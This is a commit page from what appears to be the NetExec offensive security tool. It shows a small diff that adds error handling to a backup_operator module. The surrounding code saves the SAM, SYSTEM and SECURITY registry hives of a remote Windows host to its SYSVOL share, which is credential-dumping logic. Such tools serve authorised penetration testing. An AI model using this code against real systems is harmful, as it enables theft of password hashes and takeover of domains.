Skip to content

Commit ae23596

Browse files
committed
Wrap critical parts into try&except
1 parent cc7d8aa commit ae23596

1 file changed

Lines changed: 8 additions & 4 deletions

File tree

nxc/modules/backup_operator.py

Lines changed: 8 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,4 @@
1+
import contextlib
12
import os
23
import datetime
34

@@ -37,10 +38,11 @@ def on_login(self, context, connection):
3738
dce = rpc.get_dce_rpc()
3839
if connection.kerberos:
3940
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
40-
dce.connect()
41-
dce.bind(rrp.MSRPC_UUID_RRP)
4241

4342
try:
43+
dce.connect()
44+
dce.bind(rrp.MSRPC_UUID_RRP)
45+
4446
for hive in ["HKLM\\SAM", "HKLM\\SYSTEM", "HKLM\\SECURITY"]:
4547
hRootKey, subKey = self._strip_root_key(dce, hive)
4648
outputFileName = f"\\\\{connection.host}\\SYSVOL\\{subKey}"
@@ -53,9 +55,11 @@ def on_login(self, context, connection):
5355
context.log.fail(f"Couldn't save {hive}: {e} on path {outputFileName}")
5456
return
5557
except (Exception, KeyboardInterrupt) as e:
56-
context.log.fail(str(e))
58+
context.log.fail(f"Unexpected error: {e}")
59+
return
5760
finally:
58-
dce.disconnect()
61+
with contextlib.suppress(Exception):
62+
dce.disconnect()
5963

6064
# copy remote file to local
6165
log_path = os.path.expanduser(f"{NXC_PATH}/logs/{connection.hostname}_{connection.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}.".replace(":", "-"))

0 commit comments

Comments
 (0)